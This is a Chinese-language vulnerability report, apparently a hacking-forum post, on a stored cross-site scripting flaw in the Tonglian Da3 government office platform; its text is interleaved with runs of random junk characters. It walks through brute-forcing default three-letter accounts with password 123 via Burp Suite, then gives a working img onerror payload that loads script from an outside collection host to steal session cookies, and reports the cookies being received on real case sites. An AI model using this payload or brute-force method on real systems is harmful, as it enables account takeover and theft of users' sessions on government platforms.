同联Da3协同办公平台后台通用储存型xss漏洞

admin

7 b$ T7 o6 ^- J- V ; v& E# E& y' t+ x6 c+ ~+ [ 7 |2 f5 a+ o1 \5 o/ }) L+ b 4 T9 c/ u; v J- [( h 0 W6 h, L9 y; g7 G# b6 g 1 ?2 E+ }0 G; Q& P0 C: ~0 | % M! b+ m* k m* T7 M+ B, o; e* X

同联Da3协同办公平台后台通用储存型xss漏洞

" |$ o" S2 E" T 平台简介：

5 }7 [1 ` X7 o# s/ A   - [% C8 n6 {" K3 f3 f

* C5 S% Y; y7 J1 C 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

! y. l4 b r' ]

 

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 1 v) l: ]+ D7 `8 M) ?; S/ p

1 x- g3 I! u( J! F( ~! p3 c   , |3 f; E! L M4 Z" X+ E- k% _ L

/ ^# j% b2 I+ [3 M( E

3 M4 I( Z1 L! ?. _ http://1.1.1.1:7197/cap-aco/#（案例2-） 5 z$ _% |. u! ?4 U. C" |

& T. Q7 b7 W9 c, r# m

http://www.XXOO.com （案例1-官网网站） + _" t6 n# k. L2 N' Q% q

7 V* W. w& R7 O& `

漏洞详情: ! I B# L' A$ f! {

, j, b' r8 M+ z7 ~

 案例一、 & E8 M& X' l" q R

3 H" U. f# }0 j: O) T* h 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

5 w7 p- {+ J, ~& T2 E

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

& V* J- S1 ]' i5 ]8 A# q s: h. m   & H) G( ~$ [* N4 z! T* s

4 R9 L/ i/ O- C$ ~4 E; e2 b

) ~3 t1 G b8 | status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

: q8 O4 h# U4 \+ b# N+ J& g  

7 O- x' k0 p% [+ I' W* f4 k

' c2 x/ S+ u' P . @* N4 a7 \* ?

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

5 p+ H- W* E$ `. O' H' u

 

" m" j: |# ~3 [9 D0 b! V" i

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图：

1 K5 F5 k* y: S6 Y

. j) G( P' M$ X* {7 Q" b$ K

% x |2 a" J% g

然后发送，接收cookie如图：

1 f, g* L3 x2 g

 

. j# H1 s5 p* { y

  ' W; w9 F! \3 B9 L% P, a( Z. y' n/ S

2 a2 e8 s0 u c) V( d

  6 Q: \* n0 N* @/ l

 

9 F" l8 n/ L% Z4 D

 

: u/ B0 o' A- w8 V2 p+ w) O

案例2、

, d0 p, V% L A/ L% a3 ]4 e |+ T+ u 前面步骤都一样，下面看效果图： : u* T8 r: f8 z- B5 u" R

$ a! L% u3 X1 I0 Y5 x

6 ~2 @' Z! {2 f5 g, O9 q. u

 

) `! A, t: k0 F: g4 }8 X

 

$ k7 V, d4 p# z$ U2 U4 M" w

: U0 q, d( D: L* A8 c8 [. \/ J

  6 A. y3 ~6 U" f' w1 @* D4 d2 ?7 @

2 P; P; g' Y8 }1 N

 

* |: |3 ]; c5 j- [ F8 r  

; M9 ?, I. y. C   v) C$ m$ ~( _& b% q6 N$ `

& W) D$ ^+ V8 N0 d